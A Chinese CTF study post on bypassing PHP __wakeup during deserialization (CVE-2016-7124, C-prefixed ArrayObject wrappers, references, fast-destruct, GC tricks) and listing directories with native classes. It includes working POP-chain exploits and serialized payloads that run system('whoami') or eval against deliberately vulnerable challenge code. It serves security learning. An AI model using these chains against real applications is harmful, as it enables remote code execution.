因为最近在复习php框架的内容,所以想着把wakeup和一些反序列化的bypass一起迁移出来单开一篇文章方便后面查看
wakeup bypass 参考文章:
PHP反序列化中wakeup()绕过总结
这个也算是一个比较重要的考点了,一般来说,绕过wakup无非就是下面几种:
cve-2016-7124 适用版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
这应该是最常见的wakeup()绕过漏洞了,就是适用的的php版本比较低
具体怎么实现呢?
[!IMPORTANT]
让序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
我们写个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class test { public $a ='成功' ; public function __wakeup ( ) { $this -> a="绕过失败" ; } public function __destruct ( ) { echo $this ->a; } } $a = new test ();$b = serialize ($a );echo $b ."\n" ;unserialize ($b );
正常来说wakeup
魔术方法会先被触发,然后再进行反序列化
需要注意的是:unserialize函数其实是一个重构新对象的过程,所以这也是为什么这里在代码结束后会同时触发两个对象的__destruct
方法的原因
绕过demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class test { public $a ='成功' ; public function __wakeup ( ) { $this -> a="绕过失败" ; } public function __destruct ( ) { echo $this ->a; } } $a = new test ();$b = serialize ($a );echo $b ."\n" ;unserialize ($b );$c = "O:4:\"test\":2:{s:1:\"a\";s:6:\"成功\";}" ;unserialize ($c );
使用C打头绕过 这个其实很多次都做到了,但是一直没有去总结,例如litctf2025的君の名は以及ctfshow2023年愚人杯的 ez_php都有考过这个绕过的手法
ctfshow愚人杯 ez_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { system ($this ->ctfshow); } } $data = $_GET ['1+1>2' ];if (!preg_match ("/^[Oa]:[\d]+/i" , $data )){ unserialize ($data ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { echo "bypass successfully" ; system ($this ->ctfshow); } } $a = new ctfshow ();echo serialize ($a );?>
我们把O改成C传入C:7:”ctfshow”:0:{}
可以看到网页显示bypass
[!CAUTION]
使用C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容。
这时候该怎么做呢?
[!IMPORTANT]
用一些原生类去包装一下这个序列化对象,让最后的序列化字符串是C开头
首先我们要获得可以进行打包的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $classes = get_declared_classes ();foreach ($classes as $class ) { $methods = get_class_methods ($class ); foreach ($methods as $method ) { if (in_array ($method , array ('unserialize' ))) { print $class . '::' . $method . "\n" ; } } }
挨个测试一下哪些可以用
ArrayObject类
关注到一句话:This class allows objects to work as arrays.
这里的构造方法是需要传入一个数组,那我们试着传一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { echo "bypass successfully" ; system ($this ->ctfshow); } } $a = new ctfshow ();$a -> ctfshow = "whoami" ;$arr = array ("evil" => $a );$poc = new ArrayObject ($arr );echo serialize ($poc );?>
是可以打得通的
ArrayIterator类 其实和上面的没什么区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { echo "bypass successfully" ; system ($this ->ctfshow); } } $a = new ctfshow ();$a -> ctfshow = "whoami" ;$arr = array ("evil" => $a );$poc = new ArrayIterator ($arr );echo serialize ($poc );?>
RecursiveArrayIterator类 也是一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { echo "bypass successfully" ; system ($this ->ctfshow); } } $a = new ctfshow ();$a -> ctfshow = "whoami" ;$arr = array ("evil" => $a );$poc = new RecursiveArrayIterator ($arr );echo serialize ($poc );?>
SplObjectStorage类 1 2 3 4 5 6 7 8 <?php class test { public $test ; } $a = new SplObjectStorage ();$a -> test = new test ();echo serialize ($a );
绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { echo "bypass successfully" ; system ($this ->ctfshow); } } $a = new SplObjectStorage ();$a -> test = new ctfshow ();$a -> test -> ctfshow = "whoami" ;echo serialize ($a );?>
其实也就上面四个类能用,中间的
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
这三个分别看了一下官方文档,并没有什么特别的声明,所以暂时是用不了的
&引用地址绕过 当代码中存在类似$this->a===$this->b
的比较时可以用&
,使$a
永远与$b
相等,使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。
简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class KeyPort { public $key ; public function __destruct ( ) { $this ->key=False; if (!isset ($this ->wakeup)||!$this ->wakeup){ echo "You get it!" ; } } public function __wakeup ( ) { $this ->wakeup=True; } } if (isset ($_POST ['pop' ])){ @unserialize ($_POST ['pop' ]); }
可以看到如果我们想触发echo必须首先满足:if(!isset($this->wakeup)||!$this->wakeup)
的条件
也就是说要么不给wakeup赋值,让它接受不到$this->wakeup,要么控制wakeup为false,但我们注意到在__wakeup
方法这里使$this->wakeup=True
;,我们知道在用unserialize()反序列化字符串时,会先触发__wakeup(),然后再进行反序列化,所以相当于我们刚进行反序列化$this->wakeup就等于True了,这就没办法达到我们控制wake为false的想法了
所以我们可以使用上面提到过的引用赋值的方法以此将wakeup和key的值进行引用,让key的值改变的时候也改变wakeup的值即可
所以我们的exp就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class KeyPort { public $key ; public function __destruct ( ) { } } $keyport = new KeyPort ();$keyport ->key=&$keyport ->wakeup;echo serialize ($keyport );
例如有一道题
[UUCTF 2022 新生赛]ez_unser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); } $bbb =unserialize ($_GET ['a' ]);
这道题很明显可以看到一个eval,但是有一个__wakeup
会把成员属性a的值置空,这时候需要让a能传进去并打出效果
测试一下
1 2 3 4 5 6 7 8 9 10 11 <?php class test { public $a ; public $b ; public $c ; } $a = new test ();$a -> a = 1 ;$a -> b = &$a -> a;echo $a -> b;
可以看到这里是成功引用地址去对b赋值了
因为最后销毁时会将c的值赋给b,所以poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class test { public $a ; public $b ; public $c ; public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a = new test ();$a -> c = "system('whoami');" ;$a -> a = &$a -> b;unserialize (serialize ($a ));
fast-destruct 在fushuling师傅的解释里面是这样的:
在PHP中如果单独执行unserialize()
函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()
方法
而如果将unserialize()
函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
首先我们要知道一个正确完整的序列化字符串的结构:
正确的序列化字符串是以}
结尾的
正确的序列化字符串的属性和属性值的长度一致
由此可以得出一个思路:
我们构造一个非法的,错误的序列化字符串,让unserialize()函数在完成对象创建和属性填充之后,他会检查整个字符串是否被完整且正确的解析(或者试图找到一个表示对象结束的 }
),此时会产生解析错误,那么就会抛出异常不会调用到__wakeup()
方法。因为先前反序列化的对象确实会存在内存当中,此时php会利用GC回收机制销毁对象,那么就会调用到该对象的__destruct()
方法
先拿一道题来讲一下
DASCTF X GFCTF 2022十月挑战赛 EasyPOP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 <?php highlight_file (__FILE__ );error_reporting (0 );class fine { private $cmd ; private $content ; public function __construct ($cmd , $content ) { $this ->cmd = $cmd ; $this ->content = $content ; } public function __invoke ( ) { call_user_func ($this ->cmd, $this ->content); } public function __wakeup ( ) { $this ->cmd = "" ; die ("Go listen to Jay Chou's secret-code! Really nice" ); } } class show { public $ctf ; public $time = "Two and a half years" ; public function __construct ($ctf ) { $this ->ctf = $ctf ; } public function __toString ( ) { return $this ->ctf->show (); } public function show ( ): string { return $this ->ctf . ": Duration of practice: " . $this ->time; } } class sorry { private $name ; private $password ; public $hint = "hint is depend on you" ; public $key ; public function __construct ($name , $password ) { $this ->name = $name ; $this ->password = $password ; } public function __sleep ( ) { $this ->hint = new secret_code (); } public function __get ($name ) { $name = $this ->key; $name (); } public function __destruct ( ) { if ($this ->password == $this ->name) { echo $this ->hint; } else if ($this ->name = "jay" ) { secret_code::secret (); } else { echo "This is our code" ; } } public function getPassword ( ) { return $this ->password; } public function setPassword ($password ): void { $this ->password = $password ; } } class secret_code { protected $code ; public static function secret ( ) { include_once "hint.php" ; hint (); } public function __call ($name , $arguments ) { $num = $name ; $this ->$num (); } private function show ( ) { return $this ->code->secret; } } if (isset ($_GET ['pop' ])) { $a = unserialize ($_GET ['pop' ]); $a ->setPassword (md5 (mt_rand ())); } else { $a = new show ("Ctfer" ); echo $a ->show (); }
简单写一下链子
1 sorry::__destruct ()->show::__toString ()->secret_code::show ()->sorry::__get ()->fine::__invoke ()
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class fine { public $cmd ; public $content ; } class show { public $ctf ; public $time = "Two and a half years" ; } class sorry { public $name ; public $password ; public $hint = "hint is depend on you" ; public $key ; } class secret_code { public $code ; } $sorry1 = new sorry ();$sorry1 -> password = "wanth3f1ag" ;$sorry1 -> name = "wanth3f1ag" ;$sorry1 -> hint = new show ();$sorry1 -> hint -> ctf = new secret_code (); $sorry1 -> hint -> ctf -> code = new sorry (); $sorry1 -> hint -> ctf -> code -> key = new fine (); $sorry1 -> hint -> ctf -> code -> key -> cmd = 'system' ;$sorry1 -> hint -> ctf -> code -> key -> content = 'whoami' ;echo serialize ($sorry1 );
但这里的难点是需要绕过__wakeup
的触发
1 2 3 4 5 public function __wakeup ( ) { $this ->cmd = "" ; die ("Go listen to Jay Chou's secret-code! Really nice" ); }
fast-destruct实现方式有一下几种
这两种方法都可以
1 2 3 O:5 :"sorry" :4 :{s:4 :"name" ;s:10 :"wanth3f1ag" ;s:8 :"password" ;s:10 :"wanth3f1ag" ;s:4 :"hint" ;O:4 :"show" :2 :{s:3 :"ctf" ;O:11 :"secret_code" :1 :{s:4 :"code" ;O:5 :"sorry" :4 :{s:4 :"name" ;N;s:8 :"password" ;N;s:4 :"hint" ;s:21 :"hint is depend on you" ;s:3 :"key" ;O:4 :"fine" :2 :{s:3 :"cmd" ;s:6 :"system" ;s:7 :"content" ;s:6 :"whoami" ;}}}s:4 :"time" ;s:20 :"Two and a half years" ;}s:3 :"key" ;N; O:5 :"sorry" :4 :{s:4 :"name" ;s:10 :"wanth3f1ag" ;s:8 :"password" ;s:10 :"wanth3f1ag" ;s:4 :"hint" ;O:4 :"show" :2 :{s:3 :"ctf" ;O:11 :"secret_code" :1 :{s:4 :"code" ;O:5 :"sorry" :4 :{s:4 :"name" ;N;s:8 :"password" ;N;s:4 :"hint" ;s:21 :"hint is depend on you" ;s:3 :"key" ;O:4 :"fine" :4 :{s:3 :"cmd" ;s:6 :"system" ;s:7 :"content" ;s:6 :"whoami" ;}}}s:4 :"time" ;s:20 :"Two and a half years" ;}s:3 :"key" ;N;}
这里其实利用的就是GC回收机制,放文章后面写吧
php issue#9618 php issue#9618 提到了最新版wakeup()的一种bug,当序列化字符串中的属性名或属性值的长度不一致时,PHP会继续反序列化,但会先触发 __destruct()
而不是 __wakeup()
,从而绕过wakeup
适用版本:
此时有以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class A { public $info ; private $end = "1" ; public function __destruct ( ) { $this ->info->func (); } } class B { public $end ; public function __wakeup ( ) { $this ->end = "exit();" ; echo '__wakeup' ; } public function __call ($method , $args ) { eval ('echo "aaaa";' . $this ->end . 'echo "bbb"' ); } } unserialize ($_POST ['data' ]);
如果正常的打的话会触发_wakeup()
方法,如果我们修改一个变量名呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class A { public $info ; private $end = "1" ; } class B { public $znd ; } $test =new A ();$test ->info=new B ();echo serialize ($test );
正常的话因为end变量是私有属性,但是我们如果将里面的\0字符去掉
1 O:1 :"A" :2 :{s:4 :"info" ;O:1 :"B" :1 :{s:3 :"znd" ;N;}s:6 :"Aend" ;s:1 :"1" ;}
成功绕过__wakeup
,那么如果我们补上空白符呢,结果可想而知
但其实这里的话改一下其他的属性或属性值也是可以的
但事实上只有当destruct和wakeup在不同类的时候才能用这个方法绕过,这里把这两个方法放在A类中看看
接下来我们来看一下GC回收机制
GC回收机制 参考了一下包子的文章:https://baozongwi.xyz/2024/09/14/php-GC%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6%E4%BB%A5%E5%8F%8A%E5%B8%B8%E8%A7%81%E5%88%A9%E7%94%A8%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
额外参考文章:https://forum.butian.net/share/2352
什么是GC垃圾回收机制 官方文档:https://www.php.net/manual/zh/features.gc.php
[!IMPORTANT]
在PHP中,使用引用计数
和回收周期
来自动管理内存对象的,没有任何变量指向这个对象时,这个对象就成为垃圾,PHP会将其在内存中销毁;这是PHP 的GC垃圾处理机制,防止内存溢出。它是在 PHP 5.3 之后引入的增强功能,帮助开发者自动管理内存,尤其是在复杂的应用场景下。
上面可以知道,在PHP中是用引用计数和回收周期去管理内存对象的,那这两个东西是什么呢?
引用计数 摘录官方文档https://www.php.net/manual/zh/features.gc.refcounting-basics.php
每个php
变量存在一个叫zval
的变量容器中。
zval
变量容器除了包含变量的类型和值,还包括两个额外的信息位。
第一个是is_ref
,是个bool
值,用来标识这个变量是否是属于引用集合。通过这个位,php引擎才能把普通变量和引用变量区分开来,由于php
允许用户通过使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个额外字节是 refcount
,用以表示指向这个zval
变量容器的变量个数。
所有的符号存在一个符号表中,其中每个符号都有作用域(scope),那些主脚本(比如:通过浏览器请求的的脚本)和每个函数或者方法也都有作用域。
从这里不难看出,引用计数是一种内存管理技术,用来记录一个值或对象被多少个变量引用。每当一个变量指向某一个值的时候,这个值的引用计数就会增加;而当某个变量不再使用该值的时候,引用计数就会减少,若引用计数变为0的时候,系统会将其占用的内存空间释放。
写个demo
1 2 3 4 5 <?php $a = "aaa" ;xdebug_debug_zval ('a' );?>
此时我们创建了一个变量a并赋值为aaa,那么此时该变量就会在当前的作用域中创建一个新的变量容器,其类型为string。
refcount设置为1表示只有一个符号变量使用了这个变量容器,is_ref设置为false(0)的话也就是非引用
尝试增加引用计数
1 2 3 4 5 6 <?php $a = "aaa" ;$b = $a ;xdebug_debug_zval ( 'a' );?>
哎?这里为什么还是1呢?
搜查之后发现,因为 PHP 引擎对字符串、整数等简单类型进行了优化。在没有显式使用引用(&)的情况下,PHP 不会立即增加引用计数,而是采用“写时复制”(Copy-on-Write)策略来节省内存。
这意味着当你将 $a
的值赋给 $b
时,PHP 并不会立即复制该值,而是让 $b
和 $a
指向同一个内存块,直到其中一个变量被修改。
所以我们想要增加引用计数的话需要这样子
1 2 3 4 5 6 <?php $a = "aaa" ;$b = &$a ;xdebug_debug_zval ( 'a' );?>
这样就对了,但是此时引用也变成了1
那如何减少refcount引用计数呢?那就是删除变量unset了
1 2 3 4 5 6 7 8 9 <?php $a = "aaa" ;$b = &$a ;xdebug_debug_zval ( 'a' );unset ($b );xdebug_debug_zval ( 'a' );
但是对于简单标量例如整数、浮点数、布尔值等
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $a = 1 ;xdebug_debug_zval ('a' );$b = $a ;xdebug_debug_zval ('a' );$c = &$a ;xdebug_debug_zval ('a' );
很神奇的是,在PHP中,PHP并没有为这些标量类型的值用refcount去进行维护,而是当使用&
引用后,is_ref
区分引用变量,refcount
变为了2。
复合类型变量的处理 对于像Array和Object类型的情况会稍微复杂一些,array和object的属性会各自存储在自己的符号表中
写个demo
1 2 3 4 5 6 7 <?php $a = array ('name' => 'wanth3f1ag' ,'age' => 20 );xdebug_debug_zval ( 'a' );
然后我们增加引用计数
1 2 3 4 5 6 7 8 9 10 <?php $a = array ('name' => 'wanth3f1ag' ,'age' => 20 );$a ['heigh' ] = &$a ['name' ];xdebug_debug_zval ( 'a' );
删除变量
1 2 3 4 5 6 7 8 9 <?php $a = array ('name' => 'wanth3f1ag' ,'age' => 20 );$a ['heigh' ] = &$a ['name' ];xdebug_debug_zval ( 'a' );unset ($a ['age' ]);xdebug_debug_zval ( 'a' );
第二个就是回收周期
回收周期 php <=5.2 在php5.3之前,GC回收是仅仅依靠引用计数来进行的,但是这样子造成了一个循环引用问题,进而可能出现内存泄露
php 5.3–>5.6 从php5.3开始,在引用计数的基础上使用了一种同步循环回收的同步算法去解决这个问题
这个算法把那些可能是垃圾的变量容器放入根缓冲区,仅仅在根缓冲区满了时,才对缓冲区内部所有不同的变量容器执行垃圾回收操作。具体的流程如下
如果发现一个zval容器中的refcount 增加,则该变量仍在使用中,因此不是垃圾。
如果发现一个zval容器中的refcount在减少,如果 refcount 减少到 0,则 zval 可以释放;
如果发现一个zval容器中的refcount在减少,并没有减到0,PHP会把该值放到缓冲区,当做有可能是垃圾的怀疑对象;
当缓冲区达到临界值,PHP会自动调用一个方法取遍历每一个值,如果发现是垃圾就清理。
php>=7.0 针对引用计数的规则进行了一些调整
对于null,bool,int和double的类型变量,refcount永远不会计数;
对于对象、资源类型,refcount计数和php5的一致;
对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串被重复删除(即只有一个带有特定内容的被插入的字符串)并保证在请求的整个持续时间内存在,所以不需要为它们使用引用计数;如果使用了opcache,这些字符串将存在于共享内存中,在这种情况下,您不能使用引用计数(因为我们的引用计数机制是非原子的);
对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。再次,这些生活在共享内存,因此不能使用refcounting。
在反序列化中的用法 话说到这了,总得来点实际的东西吧,GC回收机制有什么地方是值得我们利用的呢?在反序列化中,我们不难想到一个魔术方法__destruct()
,该方法会在对象被销毁的时候触发,可能是在程序结束后对象销毁自动触发,也可能是对象显式销毁后触发,但是如果遇到程序报错或者抛出异常则不会触发。
触发垃圾回收机制的方法有
数组对象为NULL时,可以触发。
对象被unset()处理时,可以触发。
unset主动触发 先写个demo尝尝鲜
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class test { public $num ; public function __construct ($num ) { $this ->num = $num ; echo "consrtuct(" ."$num " .")\n" ; } public function __destruct ( ) { echo "destruct(" .$this ->num.")\n" ; } } $a = new test (1 );$b = new test (2 );$c = new test (3 );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class test { public $num ; public function __construct ($num ) { $this ->num = $num ; echo "consrtuct(" ."$num " .")\n" ; } public function __destruct ( ) { echo "destruct(" .$this ->num.")\n" ; } } $a = new test (1 );unset ($a );$b = new test (2 );$c = new test (3 );
可以发现销毁方法提前执行了,因为我们主动触发GC回收机制了
绕过异常抛出 例如我们本地测试一下
1 2 3 4 5 6 7 8 9 <?php class test { public $test = "yes" ; public function __destruct ( ) { echo $this ->test; } } $a = new test ();throw new Exception ("noooooob!!!" );
测试并没有输出yes,说明没触发该方法,这是因为throw函数自动回收了销毁的对象,导致destruct检测不到有东西销毁,从而导致无法触发魔术方法
所以我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。
例如我们这里用第一个方法,去构造数组对象并让数组对象为null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class test { public $test = "yes" ; public function __destruct ( ) { echo $this ->test; } } $a = new test ();$arr = serialize (array ($a , null ));$poc = str_replace ("i:1;N;" ,"i:0;N;" ,$arr );unserialize ($poc );throw new Exception ("noooooob!!!" );
成功输出yes,说明提前触发destruct了
放一个包师傅写的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );class gc0 { public $num ; public function __destruct ( ) { echo $this ->num."hello __destruct" ; } } class gc1 { public $string ; public function __toString ( ) { echo "hello __toString" ; $this ->string ->flag (); return 'useless' ; } } class gc2 { public $cmd ; public function flag ( ) { echo "hello __flag()" ; eval ($this ->cmd); } } $a =unserialize ($_GET ['code' ]);throw new Exception ("Garbage collection" );?>
可以看到这里有一个异常抛出,这会导致无法触发__destruct
链子
1 gc0::destruct ->gc1::toString ->gc2::flag
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class gc0 { public $num ; } class gc1 { public $string ; } class gc2 { public $cmd ; } $a = new gc0 ();$a -> num = new gc1 ();$a -> num -> string = new gc2 ();$a -> num -> string -> cmd = 'system("whoami");' ;$arr = serialize (array ($a ,null ));$poc = str_replace ("i:1;N" ,"i:0;N" ,$arr );echo $poc ;
当然这里本质上就是让这个对象指向null,所以之前说到的删除大括号,修改属性个数的方法也是可以的
1 2 3 a:2 :{i:0 ;O:3 :"gc0" :1 :{s:3 :"num" ;O:3 :"gc1" :1 :{s:6 :"string" ;O:3 :"gc2" :1 :{s:3 :"cmd" ;s:17 :"system(" whoami");" ;}}}i:1 ;N; a:1 :{i:0 ;O:3 :"gc0" :1 :{s:3 :"num" ;O:3 :"gc1" :1 :{s:6 :"string" ;O:3 :"gc2" :1 :{s:3 :"cmd" ;s:17 :"system(" whoami");" ;}}}i:1 ;N;}
__toString触发的场景
将反序列化对象打印输出的时候会触发
将反序列化对象和字符串进行拼接的时候会触发
将反序列化对象和字符串进行弱比较(==)的时候会触发(因为PHP在弱比较的时候会进行类型的转换)
将反序列化对象经过php字符串操作函数处理的时候,例如strlen()、str_replace()等
PHP原生类操作文件 可遍历目录类 可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
DirectoryIterator 类
DirectoryIterator类为查看文件系统目录的内容提供了一个简单的接口。该类的构造方法将会创建一个指定目录的迭代器。
当执行到echo函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名
利用 DirectoryIterator 类遍历指定目录里的文件
写个demo
1 2 3 <?php $dir = new DirectoryIterator ('/' );echo $dir ;
显示出一个Windows中每个分区都会有的一个$Recycle.Bin文件
1 2 3 <?php $dir =new DirectoryIterator ("glob://./*.php" );echo $dir ;
我们也可以搭配glob://去使用,但其实这里始终都不太方便看
如果想输出全部的文件名我们还需要对$dir对象进行遍历
1 2 3 4 5 6 <?php $dir =new DirectoryIterator ("./" );foreach ($dir as $f ){ echo ($f ."\n" ); }
FilesystemIterator 类 FilesystemIterator 类与 DirectoryIterator 类相同,因为这两个是父子类的关系,这里就不细说了
GlobIterator 类
这个类也可以遍历一个文件目录,但是这个类的行为类似于我们的glob函数,可以通过匹配的方式去查找文件路径,所以使用这个类的化就不需要用glob://
了
写个demo
1 2 3 4 <?php $dir =new GlobIterator ("*.php" );echo $dir ;